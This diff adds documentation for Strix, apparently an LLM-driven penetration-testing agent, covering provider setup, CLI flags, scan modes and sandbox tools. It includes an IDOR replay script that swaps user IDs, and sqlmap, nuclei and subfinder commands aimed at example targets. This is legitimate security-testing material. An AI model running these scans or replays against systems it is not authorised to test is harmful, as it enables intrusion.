strix -n -t ./ --scan-mode quick +``` + +## Required Secrets + +Add these secrets to your repository: + +| Secret | Description | +|--------|-------------| +| `STRIX_LLM` | Model name (e.g., `openai/gpt-5.4`) | +| `LLM_API_KEY` | API key for your LLM provider | + +## Exit Codes + +The workflow fails when vulnerabilities are found: + +| Code | Result | +|------|--------| +| 0 | Pass — No vulnerabilities | +| 2 | Fail — Vulnerabilities found | + +## Scan Modes for CI + +| Mode | Duration | Use Case | +|------|----------|----------| +| `quick` | Minutes | Every PR | +| `standard` | ~30 min | Nightly builds | +| `deep` | 1-4 hours | Release candidates | + + +Use `quick` mode for PRs to keep feedback fast. Schedule `deep` scans nightly. + + + +For pull_request workflows, Strix automatically uses changed-files diff-scope in CI/headless runs. If diff resolution fails, ensure full history is fetched (`fetch-depth: 0`) or set `--diff-base`. + diff --git a/docs/llm-providers/anthropic.mdx b/docs/llm-providers/anthropic.mdx new file mode 100644 index 000000000..da32b13ab --- /dev/null +++ b/docs/llm-providers/anthropic.mdx @@ -0,0 +1,24 @@ +--- +title: "Anthropic" +description: "Configure Strix with Claude models" +--- + +## Setup + +```bash +export STRIX_LLM="anthropic/claude-sonnet-4-6" +export LLM_API_KEY="sk-ant-..." +``` + +## Available Models + +| Model | Description | +|-------|-------------| +| `anthropic/claude-sonnet-4-6` | Best balance of intelligence and speed | +| `anthropic/claude-opus-4-6` | Maximum capability for deep analysis | + +## Get API Key + +1. Go to [console.anthropic.com](https://console.anthropic.com) +2. Navigate to API Keys +3. Create a new key diff --git a/docs/llm-providers/azure.mdx b/docs/llm-providers/azure.mdx new file mode 100644 index 000000000..1a9be0084 --- /dev/null +++ b/docs/llm-providers/azure.mdx @@ -0,0 +1,37 @@ +--- +title: "Azure OpenAI" +description: "Configure Strix with OpenAI models via Azure" +--- + +## Setup + +```bash +export STRIX_LLM="azure/your-gpt5-deployment" +export AZURE_API_KEY="your-azure-api-key" +export AZURE_API_BASE="https://your-resource.openai.azure.com" +export AZURE_API_VERSION="2025-11-01-preview" +``` + +## Configuration + +| Variable | Description | +|----------|-------------| +| `STRIX_LLM` | `azure/` | +| `AZURE_API_KEY` | Your Azure OpenAI API key | +| `AZURE_API_BASE` | Your Azure OpenAI endpoint URL | +| `AZURE_API_VERSION` | API version (e.g., `2025-11-01-preview`) | + +## Example + +```bash +export STRIX_LLM="azure/gpt-5.4-deployment" +export AZURE_API_KEY="abc123..." +export AZURE_API_BASE="https://mycompany.openai.azure.com" +export AZURE_API_VERSION="2025-11-01-preview" +``` + +## Prerequisites + +1. Create an Azure OpenAI resource +2. Deploy a model (e.g., GPT-5.4) +3. Get the endpoint URL and API key from the Azure portal diff --git a/docs/llm-providers/bedrock.mdx b/docs/llm-providers/bedrock.mdx new file mode 100644 index 000000000..2189e9876 --- /dev/null +++ b/docs/llm-providers/bedrock.mdx @@ -0,0 +1,47 @@ +--- +title: "AWS Bedrock" +description: "Configure Strix with models via AWS Bedrock" +--- + +## Setup + +```bash +export STRIX_LLM="bedrock/anthropic.claude-4-5-sonnet-20251022-v1:0" +``` + +No API key required—uses AWS credentials from environment. + +## Authentication + +### Option 1: AWS CLI Profile + +```bash +export AWS_PROFILE="your-profile" +export AWS_REGION="us-east-1" +``` + +### Option 2: Access Keys + +```bash +export AWS_ACCESS_KEY_ID="AKIA..." +export AWS_SECRET_ACCESS_KEY="..." +export AWS_REGION="us-east-1" +``` + +### Option 3: IAM Role (EC2/ECS) + +Automatically uses instance role credentials. + +## Available Models + +| Model | Description | +|-------|-------------| +| `bedrock/anthropic.claude-4-5-sonnet-20251022-v1:0` | Claude 4.5 Sonnet | +| `bedrock/anthropic.claude-4-5-opus-20251022-v1:0` | Claude 4.5 Opus | +| `bedrock/anthropic.claude-4-5-haiku-20251022-v1:0` | Claude 4.5 Haiku | +| `bedrock/amazon.titan-text-premier-v2:0` | Amazon Titan Premier v2 | + +## Prerequisites + +1. Enable model access in the AWS Bedrock console +2. Ensure your IAM role/user has `bedrock:InvokeModel` permission diff --git a/docs/llm-providers/local.mdx b/docs/llm-providers/local.mdx new file mode 100644 index 000000000..8a899a5d2 --- /dev/null +++ b/docs/llm-providers/local.mdx @@ -0,0 +1,56 @@ +--- +title: "Local Models" +description: "Run Strix with self-hosted LLMs for privacy and air-gapped testing" +--- + +Running Strix with local models allows for completely offline, privacy-first security assessments. Data never leaves your machine, making this ideal for sensitive internal networks or air-gapped environments. + +## Privacy vs Performance + +| Feature | Local Models | Cloud Models (GPT-5/Claude 4.5) | +|---------|--------------|--------------------------------| +| **Privacy** | 🔒 Data stays local | Data sent to provider | +| **Cost** | Free (hardware only) | Pay-per-token | +| **Reasoning** | Lower (struggles with agents) | State-of-the-art | +| **Setup** | Complex (GPU required) | Instant | + + +**Compatibility Note**: Strix relies on advanced agentic capabilities (tool use, multi-step planning, self-correction). Most local models, especially those under 70B parameters, struggle with these complex tasks. + +For critical assessments, we strongly recommend using state-of-the-art cloud models like **Claude 4.5 Sonnet** or **GPT-5**. Use local models only when privacy is the absolute priority. + + +## Ollama + +[Ollama](https://ollama.ai) is the easiest way to run local models on macOS, Linux, and Windows. + +### Setup + +1. Install Ollama from [ollama.ai](https://ollama.ai) +2. Pull a high-performance model: + ```bash + ollama pull qwen3-vl + ``` +3. Configure Strix: + ```bash + export STRIX_LLM="ollama/qwen3-vl" + export LLM_API_BASE="http://localhost:11434" + ``` + +### Recommended Models + +We recommend these models for the best balance of reasoning and tool use: + +**Recommended models:** +- **Qwen3 VL** (`ollama pull qwen3-vl`) +- **DeepSeek V3.1** (`ollama pull deepseek-v3.1`) +- **Devstral 2** (`ollama pull devstral-2`) + +## LM Studio / OpenAI Compatible + +If you use LM Studio, vLLM, or other runners: + +```bash +export STRIX_LLM="openai/local-model" +export LLM_API_BASE="http://localhost:1234/v1" # Adjust port as needed +``` diff --git a/docs/llm-providers/novita.mdx b/docs/llm-providers/novita.mdx new file mode 100644 index 000000000..e7e35b67e --- /dev/null +++ b/docs/llm-providers/novita.mdx @@ -0,0 +1,35 @@ +--- +title: "Novita AI" +description: "Configure Strix with Novita AI models" +--- + +[Novita AI](https://novita.ai) provides fast, cost-efficient inference for open-source models via an OpenAI-compatible API. + +## Setup + +```bash +export STRIX_LLM="openai/moonshotai/kimi-k2.5" +export LLM_API_KEY="your-novita-api-key" +export LLM_API_BASE="https://api.novita.ai/openai" +``` + +## Available Models + +| Model | Configuration | +|-------|---------------| +| Kimi K2.5 | `openai/moonshotai/kimi-k2.5` | +| GLM-5 | `openai/zai-org/glm-5` | +| MiniMax M2.5 | `openai/minimax/minimax-m2.5` | + +## Get API Key + +1. Sign up at [novita.ai](https://novita.ai) +2. Navigate to **API Keys** in your dashboard +3. Create a new key and copy it + +## Benefits + +- **Cost-efficient** — Competitive pricing with per-token billing +- **OpenAI-compatible** — Drop-in replacement using `LLM_API_BASE` +- **Large context** — Models support up to 262k token context windows +- **Function calling** — All listed models support tool/function calling diff --git a/docs/llm-providers/openai.mdx b/docs/llm-providers/openai.mdx new file mode 100644 index 000000000..c8a486778 --- /dev/null +++ b/docs/llm-providers/openai.mdx @@ -0,0 +1,31 @@ +--- +title: "OpenAI" +description: "Configure Strix with OpenAI models" +--- + +## Setup + +```bash +export STRIX_LLM="openai/gpt-5.4" +export LLM_API_KEY="sk-..." +``` + +## Available Models + +See [OpenAI Models Documentation](https://platform.openai.com/docs/models) for the full list of available models. + +## Get API Key + +1. Go to [platform.openai.com](https://platform.openai.com) +2. Navigate to API Keys +3. Create a new secret key + +## Custom Base URL + +For OpenAI-compatible APIs: + +```bash +export STRIX_LLM="openai/gpt-5.4" +export LLM_API_KEY="your-key" +export LLM_API_BASE="https://your-proxy.com/v1" +``` diff --git a/docs/llm-providers/openrouter.mdx b/docs/llm-providers/openrouter.mdx new file mode 100644 index 000000000..2b816e90d --- /dev/null +++ b/docs/llm-providers/openrouter.mdx @@ -0,0 +1,37 @@ +--- +title: "OpenRouter" +description: "Configure Strix with models via OpenRouter" +--- + +[OpenRouter](https://openrouter.ai) provides access to 100+ models from multiple providers through a single API. + +## Setup + +```bash +export STRIX_LLM="openrouter/openai/gpt-5.4" +export LLM_API_KEY="sk-or-..." +``` + +## Available Models + +Access any model on OpenRouter using the format `openrouter//`: + +| Model | Configuration | +|-------|---------------| +| GPT-5.4 | `openrouter/openai/gpt-5.4` | +| Claude Sonnet 4.6 | `openrouter/anthropic/claude-sonnet-4.6` | +| Gemini 3 Pro | `openrouter/google/gemini-3-pro-preview` | +| GLM-4.7 | `openrouter/z-ai/glm-4.7` | + +## Get API Key + +1. Go to [openrouter.ai](https://openrouter.ai) +2. Sign in and navigate to Keys +3. Create a new API key + +## Benefits + +- **Single API** — Access models from OpenAI, Anthropic, Google, Meta, and more +- **Fallback routing** — Automatic failover between providers +- **Cost tracking** — Monitor usage across all models +- **Higher rate limits** — OpenRouter handles provider limits for you diff --git a/docs/llm-providers/overview.mdx b/docs/llm-providers/overview.mdx new file mode 100644 index 000000000..8c0d5002e --- /dev/null +++ b/docs/llm-providers/overview.mdx @@ -0,0 +1,70 @@ +--- +title: "Overview" +description: "Configure your AI model for Strix" +--- + +Strix uses [LiteLLM](https://docs.litellm.ai/docs/providers) for model compatibility, supporting 100+ LLM providers. + +## Configuration + +Set your model and API key: + +| Model | Provider | Configuration | +| ----------------- | ------------- | -------------------------------- | +| GPT-5.4 | OpenAI | `openai/gpt-5.4` | +| Claude Sonnet 4.6 | Anthropic | `anthropic/claude-sonnet-4-6` | +| Gemini 3 Pro | Google Vertex | `vertex_ai/gemini-3-pro-preview` | + +```bash +export STRIX_LLM="openai/gpt-5.4" +export LLM_API_KEY="your-api-key" +``` + +## Local Models + +Run models locally with [Ollama](https://ollama.com), [LM Studio](https://lmstudio.ai), or any OpenAI-compatible server: + +```bash +export STRIX_LLM="ollama/llama4" +export LLM_API_BASE="http://localhost:11434" +``` + +See the [Local Models guide](/llm-providers/local) for setup instructions and recommended models. + +## Provider Guides + + + + GPT-5.4 models. + + + Claude Opus, Sonnet, and Haiku. + + + Access 100+ models through a single API. + + + Gemini 3 models via Google Cloud. + + + Claude and Titan models via AWS. + + + GPT-5.4 via Azure. + + + Llama 4, Mistral, and self-hosted models. + + + +## Model Format + +Use LiteLLM's `provider/model-name` format: + +``` +openai/gpt-5.4 +anthropic/claude-sonnet-4-6 +vertex_ai/gemini-3-pro-preview +bedrock/anthropic.claude-4-5-sonnet-20251022-v1:0 +ollama/llama4 +``` diff --git a/docs/llm-providers/vertex.mdx b/docs/llm-providers/vertex.mdx new file mode 100644 index 000000000..d7ed9710e --- /dev/null +++ b/docs/llm-providers/vertex.mdx @@ -0,0 +1,53 @@ +--- +title: "Google Vertex AI" +description: "Configure Strix with Gemini models via Google Cloud" +--- + +## Installation + +Vertex AI requires the Google Cloud dependency. Install Strix with the vertex extra: + +```bash +pipx install "strix-agent[vertex]" +``` + +## Setup + +```bash +export STRIX_LLM="vertex_ai/gemini-3-pro-preview" +``` + +No API key required—uses Google Cloud Application Default Credentials. + +## Authentication + +### Option 1: gcloud CLI + +```bash +gcloud auth application-default login +``` + +### Option 2: Service Account + +```bash +export GOOGLE_APPLICATION_CREDENTIALS="/path/to/service-account.json" +``` + +## Available Models + +| Model | Description | +|-------|-------------| +| `vertex_ai/gemini-3-pro-preview` | Best overall performance for security testing | +| `vertex_ai/gemini-3-flash-preview` | Faster and cheaper | + +## Project Configuration + +```bash +export VERTEXAI_PROJECT="your-project-id" +export VERTEXAI_LOCATION="global" +``` + +## Prerequisites + +1. Enable the Vertex AI API in your Google Cloud project +2. Ensure your account has the `Vertex AI User` role diff --git a/docs/logo/strix.png b/docs/logo/strix.png new file mode 100644 index 000000000..699eb8373 Binary files /dev/null and b/docs/logo/strix.png differ diff --git a/docs/quickstart.mdx b/docs/quickstart.mdx new file mode 100644 index 000000000..681bf02de --- /dev/null +++ b/docs/quickstart.mdx @@ -0,0 +1,76 @@ +--- +title: "Quick Start" +description: "Install Strix and run your first security scan" +--- + +## Prerequisites + +- Docker (running) +- An LLM API key from any [supported provider](/llm-providers/overview) (OpenAI, Anthropic, Google, etc.) + +## Installation + + + + ```bash + curl -sSL https://strix.ai/install | bash + ``` + + + ```bash + pipx install strix-agent + ``` + + + +## Configuration + +Set your LLM provider: + +```bash +export STRIX_LLM="openai/gpt-5.4" +export LLM_API_KEY="your-api-key" +``` + + +For best results, use `openai/gpt-5.4`, `anthropic/claude-opus-4-6`, or `openai/gpt-5.2`. + + +## Run Your First Scan + +```bash +strix --target ./your-app +``` + + +First run pulls the Docker sandbox image automatically. Results are saved to `strix_runs/`. + + +## Target Types + +Strix accepts multiple target types: + +```bash +# Local codebase +strix --target ./app-directory + +# GitHub repository +strix --target https://github.com/org/repo + +# Live web application +strix --target https://your-app.com + +# Multiple targets (white-box testing) +strix -t https://github.com/org/repo -t https://your-app.com +``` + +## Next Steps + + + + Explore all command-line options. + + + Choose the right scan depth. + + diff --git a/docs/tools/browser.mdx b/docs/tools/browser.mdx new file mode 100644 index 000000000..7220d9ce6 --- /dev/null +++ b/docs/tools/browser.mdx @@ -0,0 +1,34 @@ +--- +title: "Browser" +description: "Playwright-powered Chrome for web application testing" +--- + +Strix uses a headless Chrome browser via Playwright to interact with web applications exactly like a real user would. + +## How It Works + +All browser traffic is automatically routed through the Caido proxy, giving Strix full visibility into every request and response. This enables: + +- Testing client-side vulnerabilities (XSS, DOM manipulation) +- Navigating authenticated flows (login, OAuth, MFA) +- Triggering JavaScript-heavy functionality +- Capturing dynamically generated requests + +## Capabilities + +| Action | Description | +| ---------- | ------------------------------------------- | +| Navigate | Go to URLs, follow links, handle redirects | +| Click | Interact with buttons, links, form elements | +| Type | Fill in forms, search boxes, input fields | +| Execute JS | Run custom JavaScript in the page context | +| Screenshot | Capture visual state for reports | +| Multi-tab | Test across multiple browser tabs | + +## Example Flow + +1. Agent launches browser and navigates to login page +2. Fills in credentials and submits form +3. Proxy captures the authentication request +4. Agent navigates to protected areas +5. Tests for IDOR by replaying requests with modified IDs diff --git a/docs/tools/overview.mdx b/docs/tools/overview.mdx new file mode 100644 index 000000000..4a5db0a07 --- /dev/null +++ b/docs/tools/overview.mdx @@ -0,0 +1,33 @@ +--- +title: "Agent Tools" +description: "How Strix agents interact with targets" +--- + +Strix agents use specialized tools to test your applications like a real penetration tester would. + +## Core Tools + + + + Playwright-powered Chrome for interacting with web UIs. + + + Caido-powered proxy for intercepting and replaying requests. + + + Bash shell for running commands and security tools. + + + Pre-installed security tools: Nuclei, ffuf, and more. + + + +## Additional Tools + +| Tool | Purpose | +| -------------- | ---------------------------------------- | +| Python Runtime | Write and execute custom exploit scripts | +| File Editor | Read and modify source code | +| Web Search | Real-time OSINT via Perplexity | +| Notes | Document findings during the scan | +| Reporting | Generate vulnerability reports with PoCs | diff --git a/docs/tools/proxy.mdx b/docs/tools/proxy.mdx new file mode 100644 index 000000000..3fc027b9a --- /dev/null +++ b/docs/tools/proxy.mdx @@ -0,0 +1,135 @@ +--- +title: "HTTP Proxy" +description: "Caido-powered proxy for request interception and replay" +--- + +Strix includes [Caido](https://caido.io), a modern HTTP proxy built for security testing. All browser traffic flows through Caido, giving the agent full control over requests and responses. + +## Capabilities + +| Feature | Description | +| ---------------- | -------------------------------------------- | +| Request Capture | Log all HTTP/HTTPS traffic automatically | +| Request Replay | Repeat any request with modifications | +| HTTPQL | Query captured traffic with powerful filters | +| Scope Management | Focus on specific domains or paths | +| Sitemap | Visualize the discovered attack surface | + +## HTTPQL Filtering + +Query captured requests using Caido's HTTPQL syntax + +## Request Replay + +The agent can take any captured request and replay it with modifications: + +- Change path parameters (test for IDOR) +- Modify request body (test for injection) +- Add/remove headers (test for auth bypass) +- Alter cookies (test for session issues) + +## Python Integration + +Proxy helpers are available to sandbox Python scripts through the image-baked `caido_api` module. This enables powerful scripted security testing: + +```python +import asyncio + +from caido_api import list_requests, repeat_request, view_request + + +async def main(): + # List recent POST requests + post_requests = await list_requests( + httpql_filter='req.method.eq:"POST"', + first=20, + ) + + # View a specific request + request_details = await view_request("req_123", part="request") + + # Replay with modified payload + response = await repeat_request( + "req_123", + modifications={"body": '{"user_id": "admin"}'}, + ) + print(response["status"], request_details is not None, len(post_requests.edges)) + + +asyncio.run(main()) +``` + +### Available Functions + +| Function | Description | +| ---------------------- | ------------------------------------------ | +| `list_requests()` | Query captured traffic with HTTPQL filters | +| `view_request()` | Get full request/response details | +| `repeat_request()` | Replay a request with modifications | +| `list_sitemap()` | Browse the request-tree view of discovered surface | +| `view_sitemap_entry()` | Inspect one sitemap entry + its related requests | +| `scope_rules()` | Manage proxy scope (allowlist/denylist) | + +For one-off arbitrary requests, use shell tooling like `curl` — the +sandbox's `HTTP_PROXY` env routes the traffic through Caido +automatically, so it lands in `list_requests` and can be replayed via +`repeat_request`. + +### Example: Automated IDOR Testing + +```python +import asyncio + +# Get all requests to user endpoints +from caido_api import list_requests, repeat_request + + +async def main(): + user_requests = await list_requests(httpql_filter='req.path.cont:"/users/"') + + for edge in user_requests.edges: + req = edge.node.request + scheme = "https" if req.is_tls else "http" + for test_id in ["1", "2", "admin", "../admin"]: + url = f"{scheme}://{req.host}{req.path.replace('/users/1', f'/users/{test_id}')}" + response = await repeat_request( + req.id, + modifications={"url": url}, + ) + print(req.id, test_id, response["status"]) + if response["status"] == "DONE": + print(f"Replay completed for candidate {test_id}") + + +asyncio.run(main()) +``` + +## Human-in-the-Loop + +Strix exposes the Caido proxy to your host machine, so you can interact with it alongside the automated scan. When the sandbox starts, the Caido URL is displayed in the TUI sidebar — click it to copy, then open it in Caido Desktop. + +### Accessing Caido + +1. Start a scan as usual +2. Look for the **Caido** URL in the sidebar stats panel (e.g. `localhost:52341`) +3. Open the URL in Caido Desktop +4. Click **Continue as guest** to access the instance + +### What You Can Do + +- **Inspect traffic** — Browse all HTTP/HTTPS requests the agent is making in real time +- **Replay requests** — Take any captured request and resend it with your own modifications +- **Intercept and modify** — Pause requests mid-flight, edit them, then forward +- **Explore the sitemap** — See the full attack surface the agent has discovered +- **Manual testing** — Use Caido's tools to test findings the agent reports, or explore areas it hasn't reached + +This turns Strix from a fully automated scanner into a collaborative tool — the agent handles the heavy lifting while you focus on the interesting parts. + +## Scope + +Create scopes to filter traffic to relevant domains: + +``` +Allowlist: ["api.example.com", "*.example.com"] +Denylist: ["*.gif", "*.jpg", "*.png", "*.css", "*.js"] +``` diff --git a/docs/tools/sandbox.mdx b/docs/tools/sandbox.mdx new file mode 100644 index 000000000..386452f7f --- /dev/null +++ b/docs/tools/sandbox.mdx @@ -0,0 +1,91 @@ +--- +title: "Sandbox Tools" +description: "Pre-installed security tools in the Strix container" +--- + +Strix runs inside a Kali Linux-based Docker container with a comprehensive set of security tools pre-installed. The agent can use any of these tools through the [terminal](/tools/terminal). + +## Reconnaissance + +| Tool | Description | +| ---------------------------------------------------------- | -------------------------------------- | +| [Subfinder](https://github.com/projectdiscovery/subfinder) | Subdomain discovery | +| [Naabu](https://github.com/projectdiscovery/naabu) | Fast port scanner | +| [httpx](https://github.com/projectdiscovery/httpx) | HTTP probing and analysis | +| [Katana](https://github.com/projectdiscovery/katana) | Web crawling and spidering | +| [ffuf](https://github.com/ffuf/ffuf) | Fast web fuzzer | +| [Nmap](https://nmap.org) | Network scanning and service detection | + +## Web Testing + +| Tool | Description | +| ------------------------------------------------------ | -------------------------------- | +| [Arjun](https://github.com/s0md3v/Arjun) | HTTP parameter discovery | +| [Dirsearch](https://github.com/maurosoria/dirsearch) | Directory and file brute-forcing | +| [wafw00f](https://github.com/EnableSecurity/wafw00f) | WAF fingerprinting | +| [GoSpider](https://github.com/jaeles-project/gospider) | Web spider for link extraction | + +## Automated Scanners + +| Tool | Description | +| ---------------------------------------------------- | -------------------------------------------------- | +| [Nuclei](https://github.com/projectdiscovery/nuclei) | Template-based vulnerability scanner | +| [SQLMap](https://sqlmap.org) | Automatic SQL injection detection and exploitation | +| [Wapiti](https://wapiti-scanner.github.io) | Web application vulnerability scanner | +| [ZAP](https://zaproxy.org) | OWASP Zed Attack Proxy | + +## JavaScript Analysis + +| Tool | Description | +| -------------------------------------------------------- | ------------------------------ | +| [JS-Snooper](https://github.com/aravind0x7/JS-Snooper) | JavaScript reconnaissance | +| [jsniper](https://github.com/xchopath/jsniper.sh) | JavaScript file analysis | +| [Retire.js](https://retirejs.github.io/retire.js) | Detect vulnerable JS libraries | +| [ESLint](https://eslint.org) | JavaScript static analysis | +| [js-beautify](https://github.com/beautifier/js-beautify) | JavaScript deobfuscation | +| [JSHint](https://jshint.com) | JavaScript code quality tool | + +## Source-Aware Analysis + +| Tool | Description | +| ------------------------------------------------------- | --------------------------------------------- | +| [Semgrep](https://github.com/semgrep/semgrep) | Fast SAST and custom rule matching | +| [ast-grep](https://ast-grep.github.io) | Structural AST/CST-aware code search (`sg`) | +| [Tree-sitter](https://tree-sitter.github.io/tree-sitter/) | Syntax tree parsing and symbol extraction (Java/JS/TS/Python/Go/Bash/JSON/YAML grammars pre-configured) | +| [Bandit](https://bandit.readthedocs.io) | Python security linter | + +## Secret Detection + +| Tool | Description | +| ----------------------------------------------------------- | ------------------------------------- | +| [TruffleHog](https://github.com/trufflesecurity/trufflehog) | Find secrets in code and history | +| [Gitleaks](https://github.com/gitleaks/gitleaks) | Detect hardcoded secrets in repositories | + +## Authentication Testing + +| Tool | Description | +| ------------------------------------------------------------ | ---------------------------------- | +| [jwt_tool](https://github.com/ticarpi/jwt_tool) | JWT token testing and exploitation | +| [Interactsh](https://github.com/projectdiscovery/interactsh) | Out-of-band interaction detection | + +## Container & Supply Chain + +| Tool | Description | +| -------------------------- | ---------------------------------------------- | +| [Trivy](https://trivy.dev) | Filesystem/container scanning for vulns, misconfigurations, secrets, and licenses | + +## HTTP Proxy + +| Tool | Description | +| ------------------------- | --------------------------------------------- | +| [Caido](https://caido.io) | Modern HTTP proxy for interception and replay | + +## Browser + +| Tool | Description | +| ------------------------------------ | --------------------------- | +| [Playwright](https://playwright.dev) | Headless browser automation | + + + All tools are pre-configured and ready to use. The agent selects the appropriate tool based on the vulnerability being tested. + diff --git a/docs/tools/terminal.mdx b/docs/tools/terminal.mdx new file mode 100644 index 000000000..5f7cb8410 --- /dev/null +++ b/docs/tools/terminal.mdx @@ -0,0 +1,65 @@ +--- +title: "Terminal" +description: "Bash shell for running commands and security tools" +--- + +Strix has access to a persistent bash terminal running inside the Docker sandbox. This gives the agent access to all [pre-installed security tools](/tools/sandbox). + +## Capabilities + +| Feature | Description | +| ----------------- | ---------------------------------------------------------- | +| Persistent state | Working directory and environment persist between commands | +| Multiple sessions | Run parallel terminals for concurrent operations | +| Background jobs | Start long-running processes without blocking | +| Interactive | Respond to prompts and control running processes | + +## Common Uses + +### Running Security Tools + +```bash +# Subdomain enumeration +subfinder -d example.com + +# Vulnerability scanning +nuclei -u https://example.com + +# SQL injection testing +sqlmap -u "https://example.com/page?id=1" +``` + +### Code Analysis + +```bash +# Fast SAST triage +semgrep --config auto ./src + +# Structural AST search +sg scan ./src + +# Secret detection +gitleaks detect --source ./ +trufflehog filesystem ./ + +# Supply-chain and misconfiguration checks +trivy fs ./ +``` + +### Custom Scripts + +```bash +# Run Python exploits +python3 exploit.py + +# Execute shell scripts +./test_auth_bypass.sh +``` + +## Session Management + +The agent can run multiple terminal sessions concurrently, for example: + +- Main session for primary testing +- Secondary session for monitoring +- Background processes for servers or watchers diff --git a/docs/usage/cli.mdx b/docs/usage/cli.mdx new file mode 100644 index 000000000..0827046fe --- /dev/null +++ b/docs/usage/cli.mdx @@ -0,0 +1,113 @@ +--- +title: "CLI Reference" +description: "Command-line options for Strix" +--- + +## Basic Usage + +```bash +strix --target [options] +``` + +## Options + + + Target to test. Accepts URLs, repositories, local directories, domains, or IP addresses. Can be specified multiple times. + + + + Bind-mount a local directory into the sandbox (read-only) instead of copying it in file-by-file. Use this for large repositories that are too big to stream into the container. Can be specified multiple times. + + Strix copies local `--target` directories into the sandbox one file at a time, which stalls on very large trees. When a local target exceeds the copy limit (see `STRIX_MAX_LOCAL_COPY_MB`, default 1024 MB) Strix exits early and asks you to re-run with `--mount`. + + + The mount is read-only to protect your source from accidental modification. This is not a hard security boundary: a root process inside the container can remount it writable, so treat `--mount` as "scan my own code", not as isolation from untrusted code. + + + + The size pre-flight only covers local directory targets. Remote repositories (cloned at scan time) are not size-checked. + + + + + Custom instructions for the scan. Use for credentials, focus areas, or specific testing approaches. + + + + Path to a file containing detailed instructions. + + + + Scan depth: `quick`, `standard`, or `deep`. + + + + Code scope mode: `auto` (enable PR diff-scope in CI/headless runs), `diff` (force changed-files scope), or `full` (disable diff-scope). + + + + Target branch or commit to compare against (e.g., `origin/main`). Defaults to the repository's default branch. + + + + Run in headless mode without TUI. Ideal for CI/CD. + + + + Path to a custom config file (JSON) to use instead of `~/.strix/cli-config.json`. + + + + Maximum LLM spend in USD for the whole scan, counted cumulatively across the + root agent and every child agent. The budget is checked after each model + response; once the running cost reaches the threshold, the scan stops cleanly + with a `stopped` status (not a failure) and the sandbox is torn down. + + Must be greater than `0`. Omit the flag for no limit. + + **Limitations** + + - The check fires *after* a response is returned, so the final spend can + slightly overshoot the limit by any calls already in flight when the + threshold is crossed (most relevant with several child agents running + concurrently). + - Cost is a best-effort estimate derived from token usage and model pricing; + providers that do not expose priced usage may under-count. + - For LiteLLM-routed models, Strix enables streaming success callbacks to + capture provider-reported cost. Message content remains excluded, but + third-party LiteLLM callbacks configured in the same process can receive + other streaming metadata such as model names, request IDs, and token + counts. + + +## Examples + +```bash +# Basic scan +strix --target https://example.com + +# Authenticated testing +strix --target https://app.com --instruction "Use credentials: user:pass" + +# Focused testing +strix --target api.example.com --instruction "Focus on IDOR and auth bypass" + +# CI/CD mode +strix -n --target ./ --scan-mode quick + +# Force diff-scope against a specific base ref +strix -n --target ./ --scan-mode quick --scope-mode diff --diff-base origin/main + +# Multi-target white-box testing +strix -t https://github.com/org/app -t https://staging.example.com + +# Large local repository — bind-mount instead of copying it in +strix --mount ./huge-monorepo +``` + +## Exit Codes + +| Code | Meaning | +|------|---------| +| 0 | Scan completed, no vulnerabilities found | +| 2 | Vulnerabilities found (headless mode only) | diff --git a/docs/usage/instructions.mdx b/docs/usage/instructions.mdx new file mode 100644 index 000000000..daac24b45 --- /dev/null +++ b/docs/usage/instructions.mdx @@ -0,0 +1,73 @@ +--- +title: "Custom Instructions" +description: "Guide Strix with custom testing instructions" +--- + +Use instructions to provide context, credentials, or focus areas for your scan. + +## Inline Instructions + +```bash +strix --target https://app.com --instruction "Focus on authentication vulnerabilities" +``` + +## File-Based Instructions + +For complex instructions, use a file: + +```bash +strix --target https://app.com --instruction-file ./pentest-instructions.md +``` + +## Common Use Cases + +### Authenticated Testing + +```bash +strix --target https://app.com \ + --instruction "Login with email: test@example.com, password: TestPass123" +``` + +### Focused Scope + +```bash +strix --target https://api.example.com \ + --instruction "Focus on IDOR vulnerabilities in the /api/users endpoints" +``` + +### Exclusions + +```bash +strix --target https://app.com \ + --instruction "Do not test /admin or /internal endpoints" +``` + +### API Testing + +```bash +strix --target https://api.example.com \ + --instruction "Use API key header: X-API-Key: abc123. Focus on rate limiting bypass." +``` + +## Instruction File Example + +```markdown instructions.md +# Penetration Test Instructions + +## Credentials +- Admin: admin@example.com / AdminPass123 +- User: user@example.com / UserPass123 + +## Focus Areas +1. IDOR in user profile endpoints +2. Privilege escalation between roles +3. JWT token manipulation + +## Out of Scope +- /health endpoints +- Third-party integrations +``` + + +Be specific. Good instructions help Strix prioritize the most valuable attack paths. + diff --git a/docs/usage/scan-modes.mdx b/docs/usage/scan-modes.mdx new file mode 100644 index 000000000..9f9589103 --- /dev/null +++ b/docs/usage/scan-modes.mdx @@ -0,0 +1,62 @@ +--- +title: "Scan Modes" +description: "Choose the right scan depth for your use case" +--- + +Strix offers three scan modes to balance speed and thoroughness. + +## Quick + +```bash +strix --target ./app --scan-mode quick +``` + +Fast checks for obvious vulnerabilities. Best for: +- CI/CD pipelines +- Pull request validation +- Rapid smoke tests + +**Duration**: Minutes + +## Standard + +```bash +strix --target ./app --scan-mode standard +``` + +Balanced testing for routine security reviews. Best for: +- Regular security assessments +- Pre-release validation +- Development milestones + +**Duration**: 30 minutes to 1 hour + +**White-box behavior**: Uses source-aware mapping and static triage to prioritize dynamic exploit validation paths. + +## Deep + +```bash +strix --target ./app --scan-mode deep +``` + +Thorough penetration testing. Best for: +- Comprehensive security audits +- Pre-production reviews +- Critical application assessments + +**Duration**: 1-4 hours depending on target complexity + +**White-box behavior**: Runs broad source-aware triage (`semgrep`, AST structural search, secrets, supply-chain checks) and then systematically validates top candidates dynamically. + + +Deep mode is the default. It explores edge cases, chained vulnerabilities, and complex attack paths. + + +## Choosing a Mode + +| Scenario | Recommended Mode | +|----------|------------------| +| Every PR | Quick | +| Weekly scans | Standard | +| Before major release | Deep | +| Bug bounty hunting | Deep | diff --git a/poetry.lock b/poetry.lock deleted file mode 100644 index f922d52e9..000000000 --- a/poetry.lock +++ /dev/null @@ -1,6291 +0,0 @@ -# This file is automatically @generated by Poetry 2.0.0 and should not be changed by hand. - -[[package]] -name = "aiohappyeyeballs" -version = "2.6.1" -description = "Happy Eyeballs for asyncio" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "aiohappyeyeballs-2.6.1-py3-none-any.whl", hash = "sha256:f349ba8f4b75cb25c99c5c2d84e997e485204d2902a9597802b0371f09331fb8"}, - {file = "aiohappyeyeballs-2.6.1.tar.gz", hash = "sha256:c3f9d0113123803ccadfdf3f0faa505bc78e6a72d1cc4806cbd719826e943558"}, -] - -[[package]] -name = "aiohttp" -version = "3.12.15" -description = "Async http client/server framework (asyncio)" -optional = false 